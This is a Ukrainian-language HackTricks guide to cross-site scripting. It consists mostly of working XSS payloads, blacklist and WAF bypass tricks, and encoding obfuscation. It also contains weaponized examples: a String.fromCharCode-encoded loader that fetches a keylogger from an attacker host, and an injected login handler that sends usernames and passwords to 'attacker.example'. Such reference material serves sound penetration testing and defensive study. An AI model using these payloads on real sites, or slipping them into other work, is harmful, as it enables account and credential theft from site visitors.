XSS (Cross Site Scripting)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Методологія

  1. Перевірте, чи будь-яке значення, яким ви керуєте (parameters, path, headers?, cookies?) відображається в HTML або використовується JS-кодом.
  2. З’ясуйте контекст, в якому воно відображається/використовується.
  3. Якщо відображається
  4. Перевірте, які символи ви можете використовувати і залежно від цього підготуйте payload:
  5. У raw HTML:
  6. Чи можете ви створити нові HTML-теги?
  7. Чи можете ви використати events або атрибути, що підтримують javascript: protocol?
  8. Чи можна обійти захисти?
  9. Чи інтерпретується HTML-контент якимось клієнтським JS-рушієм (AngularJS, VueJS, Mavo…), який можна зловживати через Client Side Template Injection.
  10. Якщо ви не можете створити HTML-теги, що виконують JS-код, чи можна зловживати Dangling Markup - HTML scriptless injection?
  11. Всередині HTML-тегу:
  12. Чи можете ви вийти в raw HTML-контекст?
  13. Чи можете ви створити нові events/attributes для виконання JS-коду?
  14. Чи атрибут, в якому ви «заблоковані», підтримує виконання JS?
  15. Чи можна обійти захисти?
  16. Всередині JavaScript-коду:
  17. Чи можете ви вийти з <script> тега?
  18. Чи можете ви втекти зі строки і виконати інший JS-код?
  19. Чи знаходяться ваші дані в template literals ``?
  20. Чи можна обійти захисти?
  21. Javascript function, яка виконується
  22. Ви можете вказати ім’я функції для виконання. наприклад: ?callback=alert(1)
  23. Якщо використовується:
  24. Ви можете експлуатувати DOM XSS, зверніть увагу, як контролюється ваше введення і чи використовується ваш контрольований ввід якимось sink.

Під час роботи з складним XSS може бути корисно знати про:

Debugging Client Side JS

Відображені значення

Щоб успішно експлуатувати XSS, перше, що потрібно знайти — це значення, яким ви керуєте і яке відображається на веб-сторінці.

  • Пряме відображення: Якщо ви виявите, що значення параметра або навіть path відображається на сторінці, ви можете експлуатувати Reflected XSS.
  • Збережене і відображене: Якщо значення, яким ви керуєте, зберігається на сервері і відображається щоразу при доступі до сторінки, ви можете експлуатувати Stored XSS.
  • Доступ через JS: Якщо значення, яким ви керуєте, отримується через JS, ви можете експлуатувати DOM XSS.

Контексти

Коли намагаєтеся експлуатувати XSS, перше, що потрібно знати — де саме ваше введення відображається. В залежності від контексту ви зможете виконувати довільний JS різними способами.

Raw HTML

Якщо ваше введення відображається в raw HTML, вам потрібно зловживати якимось HTML-тегом, щоб виконати JS-код: <img , <iframe , <svg , <script … це лише деякі з багатьох можливих HTML-тегів, які можна використати.
Також врахуйте Client Side Template Injection.

Всередині атрибутів HTML-тегів

Якщо ваше введення відображається всередині значення атрибута тега, ви можете спробувати:

  1. Втекти з атрибута і з тега (тоді ви опинитесь у raw HTML) і створити новий HTML-тег для зловживання: "><img [...]
  2. Якщо ви можете втекти з атрибута, але не з тега (> кодується або видаляється), залежно від тега ви можете створити event, який виконає JS-код: " autofocus onfocus=alert(1) x="
  3. Якщо ви не можете втекти з атрибута (" кодується або видаляється), то залежно від якого атрибута відображається ваше значення — чи керуєте ви всім значенням, чи лише його частиною — ви зможете ним зловживати. Наприклад, якщо ви контролюєте event типу onclick= — ви зможете виконати довільний код при кліці. Інший приклад — атрибут href, де можна використати javascript: protocol для виконання коду: href="javascript:alert(1)"
  4. Якщо ваше введення відображається всередині «unexpoitable tags», ви можете спробувати трюк з accesskey щоб зловживати вразливістю (потрібна соціальна інженерія для експлуатації): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Корпоративна SSO сторінка входу відображала OAuth-параметр service всередині атрибута href <a id="forgot_btn" ...>. Хоча < і > були HTML-закодовані, подвійні лапки не були, тому атакуючий міг закрити атрибут і повторно використати той же елемент, щоб інжектити обробники типу " onfocus="payload" x=".

  1. Інжект обробника: Простi payload-и на кшталт onclick="print(1)" блокувалися, але WAF перевіряв лише перший JavaScript-вираз в inline-атрибутах. Додавши нешкідливий вираз в дужках, потім крапку з комою, дозволяло реальному payload-у виконатися: onfocus="(history.length);malicious_code_here".
  2. Автозапуск: Браузери фокусують будь-який елемент, чий id збігається з фрагментом (fragment), тому додавання #forgot_btn до URL експлоїту змушує anchor отримати фокус при завантаженні сторінки і запускає обробник без кліку.
  3. Тримати inline-stub маленьким: У цільового вже був jQuery. Обробник мав лише забагачувати запит через $.getScript(...), в той час як повний кейлогер лежав на сервері атакуючого.

Побудова рядків без лапок

Одинарні лапки поверталися URL-encoded, а екрановані подвійні лапки псували атрибут, тому payload генерував кожен рядок через String.fromCharCode. Допоміжна функція полегшує перетворення будь-якого URL у char codes перед вставкою в атрибут:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Отриманий атрибут виглядав так:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Чому це викрадає облікові дані

Зовнішній скрипт (завантажений з хоста, контрольованого атакуючим або Burp Collaborator) перехопив document.onkeypress, буферизував натискання клавіш і щосекунди виконував new Image().src = collaborator_url + keys. Оскільки XSS спрацьовує лише для неавторизованих користувачів, чутливою дією є сама форма входу — атакуючий keylogs логіни та паролі навіть якщо жертва ніколи не натискає “Login”.

Дивний приклад виконання XSS в Angular, якщо ви контролюєте ім’я класу:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Всередині JavaScript-коду

У цьому випадку ваш ввід відображається між <script> [...] </script> тегами HTML-сторінки, всередині файлу .js або в атрибуті з протоколом javascript::

  • Якщо відображається між <script> [...] </script> тегами, навіть якщо ваш ввід знаходиться в лапках будь-якого типу, ви можете спробувати інжектити </script> і вийти з цього контексту. Це працює, тому що browser will first parse the HTML tags і потім вміст, отже він не помітить, що ваш інжектований </script> тег перебуває всередині HTML-коду.
  • Якщо відображається всередині JS-рядка і попередній трюк не працює, вам потрібно вийти з рядка, виконати ваш код і відновити JS-код (якщо буде якась помилка, він не виконається):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Якщо відображається всередині template literals, ви можете вбудовувати JS-вирази використовуючи синтаксис ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Unicode encode працює для запису валідного javascript-коду:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting позначає можливість оголошувати функції, змінні або класи після того, як вони вже використовуються, що дозволяє зловживати сценаріями, де XSS використовує неоголошені змінні або функції.
Перегляньте наступну сторінку для детальнішої інформації:

JS Hoisting

Javascript Function

Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.

Добрий спосіб з’ясувати, чи намагається виконуватися те, що передається безпосередньо користувачем — змінити значення параметра (наприклад на ‘Vulnerable’) і подивитися в консоль на помилки типу:

Якщо воно вразливе, ви зможете спровокувати alert, просто відправивши значення: ?callback=alert(1). Однак дуже часто такі endpoints перевіряють вміст, дозволяючи лише літери, цифри, точки та підкреслення ([\w\._]).

Проте навіть з цим обмеженням усе ще можна виконати деякі дії. Це тому, що ви можете використати ці допустимі символи, щоб доступитися до будь-якого елемента в DOM:

Декілька корисних функцій для цього:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ви також можете спробувати запустити Javascript функції безпосередньо: obj.sales.delOrders.

Однак зазвичай endpoints, що виконують вказану функцію, не мають цікавого DOM; інші сторінки в тому ж same origin матимуть більш цікавий DOM для виконання додаткових дій.

Тому, щоб зловживати цією вразливістю в іншому DOM, була розроблена експлуатація Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Існує JS code, який небезпечним способом використовує деякі дані, контрольовані атакуючим, наприклад location.href. Атакуючий може зловживати цим для виконання довільного JS code.

DOM XSS

Universal XSS

Такий тип XSS можна знайти де завгодно. Вони залежать не лише від експлуатації клієнта вебзастосунку, а від будь-якого контексту. Цей вид arbitrary JavaScript execution може навіть бути зловживаний для отримання RCE, читання довільних файлів на клієнтах і серверах та іншого.
Деякі приклади:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Коли ваш ввід відображається всередині HTML page або ви можете вийти й інжектити HTML код у цьому контексті, перше, що потрібно зробити — перевірити, чи можна зловживати символом < для створення нових тегів: просто спробуйте відобразити цей char і перевірте, чи він HTML encoded, deleted чи reflected without changes. Тільки в останньому випадку ви зможете експлуатувати цей випадок.
Для таких випадків також майте на увазі Client Side Template Injection.
Примітка: A HTML comment can be closed using --> or --!>

У цьому випадку, якщо не використовується black/whitelisting, ви можете використовувати payloads такі як:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Але якщо застосовується чорний/білий список для тегів/атрибутів, вам доведеться brute-force which tags створити.\
Коли ви з’ясуєте, які теги дозволені, потрібно буде brute-force attributes/events всередині знайдених валідних тегів, щоб побачити, як можна атакувати контекст.

Теги/Події brute-force

Перейдіть на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet і натисніть Copy tags to clipboard. Потім відправте їх усі за допомогою Burp intruder і перевірте, чи якийсь тег не був виявлений WAF як шкідливий. Коли ви виявите, які теги можна використовувати, ви можете brute force all the events за допомогою дозволених тегів (на тій же сторінці натисніть Copy events to clipboard і повторіть ту саму процедуру).

Користувацькі теги

Якщо ви не знайшли жодного валідного HTML тегу, ви можете спробувати create a custom tag і виконати JS код за допомогою атрибута onfocus. У XSS запиті потрібно закінчити URL символом #, щоб сторінка зосередилася на цьому об’єкті і виконала код:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Якщо використовується якась blacklist, ви можете спробувати bypass її за допомогою деяких простих трюків:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Більше tiny XSS payload для різних середовищ can be found here і here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr
Більше таких символів можна знайти тут.
Щоб перевірити, у які символи вони розкладаються, див. тут.

Click XSS - Clickjacking

Якщо для експлуатації вразливості вам потрібно, щоб користувач натиснув посилання або форму з попередньо заповненими даними, ви можете спробувати зловживати Clickjacking (якщо сторінка вразлива).

Impossible - Dangling Markup

Якщо ви вважаєте, що неможливо створити HTML тег з атрибутом для виконання JS коду, перевірте Danglig Markup , бо ви можете експлуатувати вразливість без виконання JS коду.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Якщо ви перебуваєте всередині HTML тега, перше, що варто спробувати — це вийти з тега і використати деякі з технік, згаданих у попередньому розділі, щоб виконати JS код.
Якщо ви не можете вийти з тега, можна створити нові атрибути всередині тега, щоб спробувати виконати JS код, наприклад, використавши payload на кшталт (зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вони не знадобляться, якщо ваш input відображається безпосередньо всередині тега):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Події стилю

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

У межах атрибуту

Навіть якщо ви не можете вийти з атрибуту (" кодується або видаляється), залежно від того, в який атрибут відбивається ваше значення та чи контролюєте ви все значення чи лише його частину, ви зможете ним зловживати. Наприклад, якщо ви контролюєте подію на кшталт onclick= ви зможете змусити її виконати довільний код при натисканні.
Ще один цікавий приклад — атрибут href, де можна використовувати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"

Обхід всередині події за допомогою HTML кодування/URL encode

HTML-кодовані символи всередині значення атрибутів HTML-тегів декодуються під час виконання. Тому щось на кшталт наступного буде дійсним (payload виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Зауважте, що будь-який тип HTML-кодування є допустимим:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Зверніть увагу, що URL encode також працюватиме:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass всередині event, використовуючи Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Спеціальні протоколи в атрибуті

Там ви можете використовувати протоколи javascript: або data: у деяких місцях, щоб виконувати довільний JS-код. Деякі вимагатимуть взаємодії користувача, а деякі — ні.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Місця, де можна впровадити ці протоколи

Загалом протокол javascript: може бути використаний у будь-якому тегу, який приймає атрибут href і в більшості тегів, що приймають атрибут src (але не <img>)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Інші трюки обфускації

У цьому випадку HTML encoding та Unicode encoding, згадані в попередньому розділі, також працюють, оскільки ви перебуваєте всередині атрибута.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Крім того, є ще один приємний трюк для таких випадків: навіть якщо ваш ввід всередині javascript:... is being URL encoded, він буде URL decoded перед виконанням. Тому, якщо вам потрібно вийти з рядка за допомогою одинарної лапки і ви бачите, що it’s being URL encoded, пам’ятайте, що це не має значення, вона буде інтерпретована як одинарна лапка під час виконання.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Зверніть увагу, що якщо ви спробуєте використати обидва URLencode + HTMLencode у будь-якому порядку, щоб закодувати payload, це не спрацює, але ви можете змішувати їх всередині payload.

Використання Hex і Octal encode з javascript:

Ви можете використовувати Hex і Octal encode всередині атрибута src елемента iframe (принаймні), щоб задекларувати HTML tags to execute JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Якщо ви можете вставити будь-який URL в довільний <a href= тег, який містить атрибути target="_blank" and rel="opener", перегляньте наступну сторінку, щоб використати цю поведінку:

Reverse Tab Nabbing

Обхід обробників подій “on”

Насамперед перегляньте цю сторінку (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) для корисних “on” обробників подій.
Якщо існує якийсь чорний список, що забороняє створювати ці обробники подій, ви можете спробувати наступні обхідні шляхи:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

За посиланням here тепер можна зловживати hidden inputs за допомогою:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

А в meta tags:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

За матеріалами here: Ви можете виконати XSS payload inside a hidden attribute, за умови, що ви зможете persuade victim натиснути key combination. У Firefox на Windows/Linux комбінація клавіш — ALT+SHIFT+X, а на OS X — CTRL+ALT+X. Ви можете вказати іншу комбінацію клавіш, використавши іншу клавішу в атрибуті access key. Ось вектор:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload буде приблизно таким: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Кілька трюків з використанням різного кодування вже були розглянуті в цьому розділі. Поверніться, щоб дізнатися, де можна використовувати:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Прочитайте Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Прочитайте JavaScript bypass blacklist of the following section.

CSS-Gadgets

Якщо ви знайшли XSS у дуже маленькій частині сайту, яка вимагає якоїсь взаємодії (можливо, маленьке посилання в футері з onmouseover елементом), ви можете спробувати змінити простір, який займає цей елемент, щоб максимально підвищити ймовірність спрацьовування посилання.

Наприклад, ви могли б додати стилі в елемент, наприклад: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Але якщо WAF фільтрує атрибут style, ви можете використовувати CSS Styling Gadgets, тож якщо ви знайдете, наприклад

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

Тепер ви можете змінити наше посилання і привести його до форми

<a href=“” id=someid class=test onclick=alert() a=“”>

Цей трюк було взято з https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

У цьому випадку ваш input буде відображено всередині JS коду в .js файлі або між <script>...</script> тегами, або між HTML-подіями, що можуть виконувати JS код, або між атрибутами, які приймають протокол javascript:.

Escaping <script> tag

Якщо ваш код вставляється всередині <script> [...] var input = 'reflected data' [...] </script> ви можете легко вийти, закривши тег <script>:

</script><img src=1 onerror=alert(document.domain)>

Зверніть увагу, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що HTML-парсинг виконується спочатку браузером, що включає визначення елементів сторінки, у тому числі блоків script. Розбір JavaScript для розуміння та виконання вбудованих скриптів виконується лише потім.

У JS-коді

Якщо <> санітизуються, ви все одно можете екранізувати рядок у місці, де ваш ввід розташований, і execute arbitrary JS. Важливо виправити синтаксис JS, тому що якщо будуть помилки, JS-код не буде виконано:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Коли введені користувачем дані потрапляють всередину взятого в лапки JavaScript-рядка (наприклад, server-side echo у inline script), можна завершити рядок, інжектити код і відновити синтаксис, щоб синтаксис залишався валідним. Загальна схема:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Приклад шаблону URL, коли вразливий параметр відображається у JS рядку:

?param=test";<INJECTION>;a="

Це виконує зловмисний JS без необхідності торкатися HTML контексту (чистий JS-in-JS). Поєднуйте з blacklist bypasses нижче, коли фільтри блокують ключові слова.

Template literals ``

Щоб будувати рядки окрім одинарних і подвійних лапок, JS також підтримує backticks ``. Це відоме як template literals, оскільки вони дозволяють вбудовувати JS-вирази використовуючи синтаксис ${ ... }.\
Тому, якщо ваше введення відображається всередині JS-рядка, що використовує backticks, ви можете зловживати синтаксисом ${ ... } щоб виконати довільний JS-код:

Цим можна зловживати використовуючи:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Виконання закодованого коду

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads з eval(atob()) та нюансами scope

Щоб скоротити URL і обійти наївні фільтри ключових слів, ви можете base64-encode ваш реальний код і виконати його через eval(atob('...')). Якщо просте фільтрування ключових слів блокує ідентифікатори, такі як alert, eval або atob, використовуйте Unicode-escaped ідентифікатори, які компілюються ідентично в браузері, але обминають фільтри пошуку по рядку:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Важливий нюанс області видимості: const/let, оголошені всередині eval(), мають блочну область видимості і НЕ створюють глобальних змінних; вони не будуть доступні для наступних скриптів. Використовуйте динамічно інжектований елемент <script>, щоб визначити global, non-rebindable hooks, коли це потрібно (e.g., to hijack a form handler):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Посилання: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Кодування Unicode для виконання JS

alert(1)
alert(1)
alert(1)

Техніки обходу blacklists у JavaScript

Рядки

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Спеціальні escape-послідовності

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Підстановки пробілів у JS-коді

<TAB>
/**/

JavaScript comments (з JavaScript Comments трюк)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript переноси рядків (з JavaScript new line трюку)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Пробіли в JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript всередині коментаря

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript без круглих дужок

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
